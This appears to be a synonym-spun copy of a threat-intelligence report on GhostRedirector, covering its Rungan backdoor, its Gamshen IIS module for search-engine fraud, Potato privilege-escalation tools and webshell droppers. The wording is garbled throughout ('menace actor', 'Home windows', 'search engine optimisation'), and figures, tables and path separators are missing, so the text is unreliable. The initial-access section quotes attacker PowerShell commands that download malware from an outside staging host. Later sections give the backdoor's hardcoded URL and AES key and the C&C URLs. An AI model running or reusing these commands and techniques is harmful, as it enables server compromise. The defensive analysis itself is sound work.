Backdoors with a facet of Potatoes

ESET researchers have recognized a brand new menace actor, whom we have now named GhostRedirector, that compromised at the very least 65 Home windows servers primarily in Brazil, Thailand, and Vietnam. GhostRedirector used two beforehand undocumented, customized instruments: a passive C++ backdoor that we named Rungan, and a malicious Web Info Providers (IIS) module that we named Gamshen.

Whereas Rungan has the potential of executing instructions on a compromised server, the aim of Gamshen is to supply search engine optimisation fraud as-a-service, i.e., to govern search engine outcomes, boosting the web page rating of a configured goal web site. Regardless that Gamshen solely modifies the response when the request comes from Googlebot – i.e., it doesn’t serve malicious content material or in any other case have an effect on common guests of the web sites – participation within the search engine optimisation fraud scheme can harm the compromised host web site repute by associating it with shady search engine optimisation strategies and the boosted web sites.

Apparently, Gamshen is carried out as a local IIS module – IIS (Web Info Providers) is Microsoft’s Home windows internet server software program, which has a modular structure supporting two forms of extensions: native (C++ DLL) and managed (.NET meeting). There are various kinds of malware that may abuse this expertise; our 2021 white paper Anatomy of native IIS malware gives a deep perception into the forms of native IIS threats and their structure. Gamshen falls underneath the class of a trojan with the primary purpose of facilitating search engine optimisation fraud, much like IISerpent, which we documented beforehand.

In addition to Rungan and Gamshen, GhostRedirector additionally makes use of a collection of different customized instruments, in addition to the publicly identified exploits EfsPotato and BadPotato, to create a privileged person on the server that can be utilized to obtain and execute different malicious parts with larger privileges, or used as a fallback in case the Rungan backdoor or different malicious instruments are faraway from the compromised server. We imagine with medium confidence {that a} China-aligned menace actor was behind these assaults. On this blogpost we offer perception into the GhostRedirector arsenal used to compromise its victims.

Key factors of this blogpost:

• We noticed at the very least 65 Home windows servers compromised in June 2025.
• Victims are primarily situated in Brazil, Thailand, and Vietnam.
• Victims usually are not associated to 1 particular sector however to a spread resembling insurance coverage, healthcare, retail, transportation, expertise, and schooling.
• GhostRedirector has developed a brand new C++ backdoor, Rungan, able to executing instructions on the sufferer’s server.
• GhostRedirector has developed a malicious native IIS module, Gamshen, that may carry out search engine optimisation fraud; we imagine its objective is to artificially promote varied playing web sites.
• GhostRedirector depends on public exploits resembling BadPotato or EfsPotato for privilege escalation on compromised servers.
• Primarily based on varied components, we conclude with medium confidence {that a} beforehand unknown, China-aligned menace actor was behind these assaults. We’ve got named it GhostRedirector.

Attribution

We haven’t been capable of attribute this assault to any identified group; thus we coined the brand new identify GhostRedirector, to cluster all actions documented on this blogpost. These actions began in December of 2024, however we had been capable of uncover different associated samples that lead us imagine that GhostRedirector has been energetic since at the very least August 2024.

GhostRedirector has an arsenal that features the passive C++ backdoor Rungan, the malicious IIS trojan Gamshen, and a wide range of different utilities. We’ve got clustered these instruments collectively by:

• their presence on the identical compromised server throughout the similar timeframe,
• a shared staging server, and
• similarities within the PDB paths of assorted GhostRedirector instruments, as defined under.

We imagine with medium confidence that GhostRedirector is a China-aligned menace actor, primarily based on the next components:

• a number of samples of GhostRedirector instruments have hardcoded Chinese language strings,
• a code-signing certificates issued to a Chinese language firm was used within the assault, and
• one of many passwords for GhostRedirector-created customers on the compromised server comprises the phrase huang, which is Chinese language for yellow.

GhostRedirector shouldn’t be the primary identified case of a China-aligned menace actor partaking in search engine optimisation fraud through malicious IIS modules. Final yr, Cisco Talos printed a blogpost a few China-aligned menace actor referred to as DragonRank that conducts search engine optimisation fraud. There’s some overlap within the sufferer geolocation (Thailand, India, and the Netherlands) and sectors (healthcare, transportation, and IT) in each assaults. Nevertheless, it’s doubtless that these had been opportunistic assaults, exploiting as many susceptible servers as potential, somewhat than concentrating on a particular set of entities. In addition to these similarities, we don’t have any motive to imagine that DragonRank and GhostRedirector are linked, so we monitor these actions individually.

Victimology

Determine 1 exhibits a heatmap of the affected international locations, combining knowledge from two sources:

• ESET telemetry, the place we detected these assaults between December 2024 and April 2025, and
• our internet-wide scan from June 2025 that we ran to get a greater understanding of the size of the assault, and that allowed us to establish extra victims.

We notified all of the victims that we recognized by our web scan in regards to the compromise.

With all of the collected data, we discovered that at the very least 65 Home windows servers had been compromised worldwide. Many of the affected servers are in Brazil, Peru, Thailand, Vietnam, and the USA. Be aware that a lot of the compromised servers situated within the USA seem to have been rented to corporations which can be primarily based in international locations from the earlier listing. We imagine that GhostRedirector was extra concerned with concentrating on victims in South America and South Asia.

Additionally, we noticed a small variety of instances in:

• Canada,
• Finland,
• India,
• the Netherlands,
• the Philippines, and
• Singapore.

GhostRedirector doesn’t appear to be concerned with a specific vertical or sector; we have now seen victims in sectors resembling schooling, healthcare, insurance coverage, transportation, expertise, and retail.

Preliminary entry

Primarily based on ESET telemetry, we imagine that GhostRedirector positive factors preliminary entry to its victims by exploiting a vulnerability, most likely an SQL Injection. Then it makes use of PowerShell to obtain varied malicious instruments – all from the identical staging server, 868id[.]com. In some instances, we have now seen the attackers leveraging a distinct LOLBin, CertUtil, for a similar objective.

This conjecture is supported by our statement that the majority unauthorized PowerShell executions originated from the binary sqlserver.exe, which holds a saved process xp_cmdshell that can be utilized to execute instructions on a machine.

The next are examples of instructions that we detected being executed on the compromised servers:

• cmd.exe /d /s /c ” powershell curl  https://xzs.868id[.]com/EfsNetAutoUser_br.exe -OutFile C:ProgramDataEfsNetAutoUser_br.exe”
• cmd.exe /d /s /c ” powershell curl  http://xz.868id[.]com/EfsPotato_sign.exe -OutFile C:ProgramDataEfsPotato_sign.exe”
• cmd.exe /d /s /c “powershell curl  https://xzs.868id[.]com/hyperlink.exe  -OutFile C:ProgramDatalink.exe”
• powershell  curl  https://xzs.868id[.]com/iis/br/ManagedEngine64_v2.dll -OutFile  C:ProgramDataMicrosoftDRMlogManagedEngine64.dll
• powershell  curl https://xzs.868id[.]com/iis/IISAgentDLL.dll -OutFile  C:ProgramDataMicrosoftDRMlogminiscreen.dll

We additionally encountered that GhostRedirector put in GoToHTTP on the compromised internet server, after downloading it from the identical staging server. GoToHTTP is a benign device that permits establishing a distant connection that may be accessed from a browser.

GhostRedirector used the listing C:ProgramData to put in its malware, significantly for the C++ backdoor and the IIS trojan they use the listing C:ProgramDataMicrosoftDRMlog.

Assault overview

An outline of the assault is proven in Determine 2. Attackers compromise a Home windows server, obtain and execute varied malicious instruments: a privilege escalation device, malware that drops a number of webshells, the passive C++ backdoor Rungan, or the IIS trojan Gamshen. The aim of the privilege escalation instruments is to create a privileged person within the Directors group, so GhostRedirector can then leverage this account to execute privileged operations, or as a fallback in case the group loses entry to the compromised server.

Pernicious Potatoes performing privilege escalation

As a part of its arsenal, GhostRedirector created a number of instruments that leverage the native privilege escalation (LPE) tactic, doubtless primarily based on public EfsPotato and BadPotato exploits. Nearly the entire analyzed samples had been obfuscated with .NET Reactor, with a number of layers of obfuscation. A few of the samples had been validly signed with a code-signing certificates issued by TrustAsia RSA Code Signing CA G3, to 深圳市迪元素科技有限公司 (Shenzhen Diyuan Know-how Co., Ltd.), and with a thumbprint of BE2AC4A5156DBD9FFA7A9F053F8FA4AF5885BE3C.

The primary purpose of those samples was to create or modify a person account on the compromised server and add it to the Directors group.

Throughout our evaluation, we extracted from the analyzed samples the next usernames that had been used within the creation of those malicious administrator customers.

• MysqlServiceEx
• MysqlServiceEx2
• Admin

Determine 3 exhibits the decompiled code utilized by these samples to create a person after profitable LPE exploitation. The password has been redacted for safety functions.

As seen in Determine 3, these privilege escalation instruments use a customized C# class named CUserHelper. This class is carried out in a DLL named Frequent.International.DLL (SHA-1: 049C343A9DAAF3A93756562ED73375082192F5A8), which we named Comdai and that was embedded within the analyzed samples. We imagine that Comdai was created by the identical builders as the remainder of the GhostRedirector arsenal, primarily based on the shared sample of their respective PDB paths – see the repeated x5 substring as proven in Desk 1, which is shared between Rungan, Gamshen, and the privilege escalation instruments.

Desk 1. PDB strings collected from GhostRedirector instruments

Desk 2 gives an outline of the essential lessons carried out in Comdai which can be utilized by GhostRedirector’s varied privilege escalation instruments, together with the outline of the category conduct. Be aware the ExeHelper class, which gives a perform to execute a file named hyperlink.exe – GhostRedirector used the identical filename to deploy the GoToHTTP device.

Additionally notice the backdoor-like capabilities, together with community communication, file execution, listing itemizing, and manipulating companies and Home windows registry keys. Whereas we haven’t noticed these strategies being utilized by any identified GhostRedirector parts, this exhibits that Comdai is a flexible device that may assist varied phases of the assault.

Desk 2. Courses carried out in Comdai

Some exceptions to the rule

We found a pattern (SHA-1: 21E877AB2430B72E3DB12881D878F78E0989BB7F) utilizing the identical certificates, uploaded to VirusTotal in August 2024, which we imagine is expounded to GhostRedirector’s arsenal, though we didn’t see it used throughout this marketing campaign. This assumption is predicated on the conduct of the pattern, which tries to open a textual content file and ship its contents to a hardcoded URL. For this, the pattern comprises an embedded Comdai DLL and it invokes the Comdai C# class HttpHelper, which has a hardcoded URL that’s https://www.cs01[.]store – the identical area talked about in Desk 2.

We additionally found some privilege escalation instruments that differ a little bit from the conduct talked about beforehand.

For instance, in a single case (SHA-1: 5A01981D3F31AF47614E51E6C216BED70D921D60), as an alternative of making a brand new person, it modifications the password of an present person Visitor for one hardcoded within the malware after which, utilizing the RID hijacking method, it makes an attempt so as to add this person to the administrator teams.

In one other case (SHA-1: 9DD282184DDFA796204C1D90A46CAA117F46C8E1), the device not solely creates a brand new administrator person but in addition installs a number of webshells on a particular path within the sufferer’s servers, supplied manually by GhostRedirector as an argument to the device.

These webshells are embedded within the assets of the pattern in cleartext, and the names are hardcoded; the names we noticed used are:

• C1.php
• Cmd.aspx
• Error.aspx
• K32.asxp
• K64.aspx
• LandGrey.asp

Zunput, an internet site data collector plus webshell dropper

One other attention-grabbing device utilized by GhostRedirector had the filename SitePuts.exe. This pattern (SHA‑1: EE22BA5453ED577F8664CA390EB311D067E47786), which we named Zunput, can also be developed with the .NET Framework and signed with the certificates talked about above; it reads the IIS configuration system in search of configured web sites and obtains the next details about them:

• bodily path on the server,
• identify, and
• for every web site, the next attributes:

  ○ protocol

  ○ IP tackle, and

  ○ hostname

As soon as the knowledge is collected, Zunput checks for the existence of the bodily path on the server, and likewise verifies that the listing comprises at the very least one file with the .php, .aspx, or .asp extension. This fashion, Zunput solely targets energetic web sites able to executing dynamic content material – solely in these directories does it then drop the embedded webshells. Webshells are embedded within the assets of the pattern and for the dates of every webshell (creation, modified, accessed), the malware makes use of the date of an present file from the listing.

Webshells are written in ASP, PHP, and JavaScript, and the names used are chosen randomly from the next listing:

• Xml
• Ajax
• Sync
• Loadapi
• Loadhelp
• Code
• Jsload
• Loadcss
• Loadjs
• Pop3
• Imap
• Api

Extensions used for the webshells:

Info collected throughout Zunput execution is saved in a file named log.txt (see an instance in Determine 4) within the listing from which it was executed. This data isn’t exfiltrated robotically by Zunput, however it may be obtained by the attackers by a number of strategies; one might be through the deployed webshell talked about earlier than.

The ultimate payloads

Rungan, a passive C++ backdoor

Rungan (SHA-1: 28140A5A29EBA098BC6215DDAC8E56EACBB29B69) is a passive C/C++ backdoor that we have now seen put in in C:ProgramDataMicrosoftDRMlogminiscreen.dll.

This backdoor makes use of AES in CBC mode for string decryption. 030201090405060708090A0B0C0D0E0F is used for the IV and key, and primarily based on the malware’s PDB path F:x5AvoidRandomKill-mainx64ReleaseIISAgentDLL.pdb, we imagine that GhostRedirector reuses the AES implementation from the AvoidRandomKill repository.

The primary performance of this backdoor is to register a plaintext hardcoded URL http://+:80/v1.0/8888/sys.html into the compromised server, bypassing IIS by abusing the HTTP Server API. Then the backdoor waits for a request that matches that URL, then parses and executes the obtained instructions on the compromised server.

Further URLs might be set in an non-compulsory configuration file named C:WindowsMicrosoft.NETFramework64v2.0.507271033vbskui.dll. Rungan will hearken to all incoming requests matching the configured patterns, and the configuration might be up to date through a backdoor command. To activate the backdoor, any incoming HTTP request should comprise a particular mixture of parameters and values, that are hardcoded in Rungan.

As soon as this verify is met, Rungan makes use of the parameter motion to find out the backdoor command, and makes use of the information within the HTTP request physique because the command parameters. No encryption or encoding is used within the C&C protocol. Probably the most notable capabilities are creating a brand new person or executing instructions on the sufferer’s server; a full listing of backdoor instructions is proven in Desk 3.

Desk 3.Rungan backdoors instructions

Determine 5 and Determine 6 present completely different examples of requests made to the malware throughout a dynamic evaluation utilizing the device postman in a simulated atmosphere.

Gamshen, malicious IIS module

Developed as a C/C++ DLL, Gamshen is a malicious native IIS module. The primary performance of this malware is to intercept requests made to the compromised server from the Googlebot search engine crawler and solely in that case modify the reputable response of the server. The response is modified primarily based on knowledge requested dynamically from Gamshen’s C&C server. By doing this, GhostRedirector makes an attempt to govern the Google search rating of a particular, third-party web site, by utilizing manipulative, shady search engine optimisation strategies resembling creating synthetic backlinks from the reputable, compromised web site to the goal web site. We beforehand documented a case of an IIS trojan utilizing comparable techniques: see IISerpent: Malware-driven search engine optimisation fraud as a service.

It is essential to say {that a} common person who visits the affected web site wouldn’t see any modifications and wouldn’t be affected by the malicious conduct as a result of Gamshen doesn’t set off any of its malicious exercise on requests from common guests.

Determine 7 exhibits how a malicious module collaborating within the IIS search engine optimisation fraud scheme modifies the reputable response of a compromised server when a request is constructed from the Google Crawler, aka Googlebot.

With a view to do that, the attackers have carried out their very own malicious code for the next IIS occasion handlers:

• OnBeginRequest
• OnPreExecuteRequestHandler
• OnPostExecuteRequestHandler
• OnSendResponse

When the compromised server receives an HTTP request, the request goes by the IIS request processing pipeline, which triggers these handlers in varied steps of the method – notably, the OnSendResponse handler is triggered simply earlier than the HTTP response is shipped out by the compromised server. Since Gamshen is put in as an IIS module, it robotically intercepts every incoming HTTP request at these steps, and performs three actions.

First, it performs a collection of validations to filter solely HTTP requests of curiosity:

• The request should originate from a Google crawler: both the Consumer-Agent header comprises the string Googlebot, or the Referer comprises the string google.com.
• The HTTP methodology should not be POST.
• The requested useful resource shouldn’t be a picture, stylesheet, or comparable static useful resource, i.e., it doesn’t have any of the next extensions: .jpg, .resx, .png, .jpeg, .bmp, .gif, .ico, .css, or .js. That is prone to keep away from breaking UI performance.
• The URL should comprise the string android_ or match any of the next common expressions:

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)_([0-9_]{6,20})(/|.w+)?

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)_([a-zA-Z0-9_]{6,8})/([a-zA-Z0-9_]{6,20})(/|.w+)?

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)/([0-9_]{6,20})(/|.w+)?

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)/([a-zA-Z]{8,10})(/|.w+)?

  ○ [/]?([a-zA-Z0-9]{6,8})/([a-zA-Z0-9]{6,8})(/|.phtml|.xhtml|.phtm|.shtml)

  ○ [/]?([a-zA-Z0-9_]{14})(/|.html|.htm)

  ○ [/]?([a-zA-Z0-9]{6})/([a-zA-Z0-9]{8})(/|.html|.htm)

  ○ [/]?([a-z0-9]{6}).xhtml

Second, Gamshen modifies the response meant for the search engine crawler with knowledge obtained from its personal C&C server, brproxy.868id[.]com. We’ve got noticed three URLs getting used for this objective:

• https://brproxy.868id[.]com/index_base64.php?
• https://brproxy.868id[.]com/tz_base64.php?
• https://brproxy.868id[.]com/url/index_base64.php

In all instances, the next hardcoded Consumer-Agent string is used: Mozilla/5.0 (suitable; Googlebot/2.1; +http://www.google.com/bot.html). A base64-encoded response is anticipated, which is then decoded and injected into the HTTP response meant for the search engine crawler.

Lastly, on the final step of the request processing pipeline, simply earlier than the HTTP response is shipped out – the OnSendResponse occasion handler verifies the response for these crawler requests. If the response has the 404 HTTP standing code – i.e., Gamshen had not been capable of get hold of the malicious knowledge from its C&C server, then it as an alternative performs a redirect to a distinct C&C server: http://gobr.868id[.]com/tz.php.

We weren’t capable of get hold of a response from brproxy.868id[.]com or gobr.868id[.]com, however imagine the information helps shady search engine optimisation strategies – resembling key phrase stuffing, inserting malicious backlinks – or, in case of the redirection, making the search engine affiliate the compromised web site with the goal, third-party web site, thus poisoning the search index.

We had been, nevertheless, capable of pivot on these domains on VirusTotal and discover associated photos – on this case, photos promoting a playing software for Portuguese talking customers. We imagine this web site is the beneficiary of the search engine optimisation fraud scheme, facilitated by this malicious IIS module – Gamshen most likely makes an attempt to compromise as many web sites as potential and misuse their repute to drive site visitors to this third-party web site.

Determine 8 and Determine 9 present two photos probably utilized by GhostRedirector in its search engine optimisation fraud scheme.

Conclusion

On this blogpost, we have now introduced a beforehand unknown, China-aligned menace actor, GhostRedirector, and its toolkit for compromising and abusing Home windows servers. Along with enabling distant command execution on the compromised servers, GhostRedirector additionally deploys a malicious IIS module, Gamshen, designed to govern Google search outcomes by shady search engine optimisation techniques. Gamshen abuses the credibility of the web sites hosted on the compromised server to advertise a third-party, playing web site – probably a paying shopper collaborating in an search engine optimisation fraud as-a-service scheme.

GhostRedirector additionally demonstrates persistence and operational resilience by deploying a number of distant entry instruments on the compromised server, on high of making rogue person accounts, all to take care of long-term entry to the compromised infrastructure.

Mitigation suggestions might be present in our complete white paper. For any inquiries, or to make pattern submissions associated to the topic, contact us at threatintel@eset.com.

IoCs

A complete listing of indicators of compromise (IoCs) and samples might be present in our GitHub repository.

Recordsdata

Community

MITRE ATT&CK strategies

This desk was constructed utilizing model 17 of the MITRE ATT&CK framework.